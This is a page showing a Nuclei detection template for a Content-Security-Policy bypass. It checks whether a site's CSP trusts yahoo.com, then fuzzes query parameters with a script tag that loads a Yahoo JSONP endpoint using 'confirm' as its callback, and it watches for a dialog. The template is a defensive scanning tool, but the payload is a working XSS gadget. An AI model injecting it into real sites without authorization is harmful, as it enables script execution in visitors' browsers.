Skip to content

Content-Security-Policy Bypass - Yahoo Search

ID: yahoo-search-csp-bypass

Severity: medium

Author: renniepak,DhiyaneshDK

Tags: xss,csp-bypass,yahoo-search

id: yahoo-search-csp-bypass
info:
name: Content-Security-Policy Bypass - Yahoo Search
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,yahoo-search
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "yahoo.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: yahoo_search_csp_xss
args:
max-duration: 5s
payloads:
injection:
- '<script src="https://search.yahoo.com/sugg/gossip/gossip-us-ura/?f=1&.crumb=wYtclSpdh3r&output=sd1&command=&pq=&l=1&bm=3&appid=exp-ats1.l7.search.vip.ir2.yahoo.com&t_stmp=1571806738592&nresults=10&bck=1he6d8leq7ddu%26b%3D3%26s%3Dcb&csrcpvid=8wNpljk4LjEYuM1FXaO1vgNfMTk1LgAAAAA5E2a9&vtestid=&mtestid=&spaceId=1197804867&callback=confirm"></script>'
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "yahoo_search_csp_xss == true"
# digest: 4a0a0047304502207f191b909b4d33118da6ad8762bb3b075a0a08c654f5c4c45f9fcf5e48027e90022100adfd791daf654da3b7d65c9026ac76841180bdb87ba1cc8ecd43b3667b43742f:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/yahoo-search-csp-bypass.yaml"

View on Github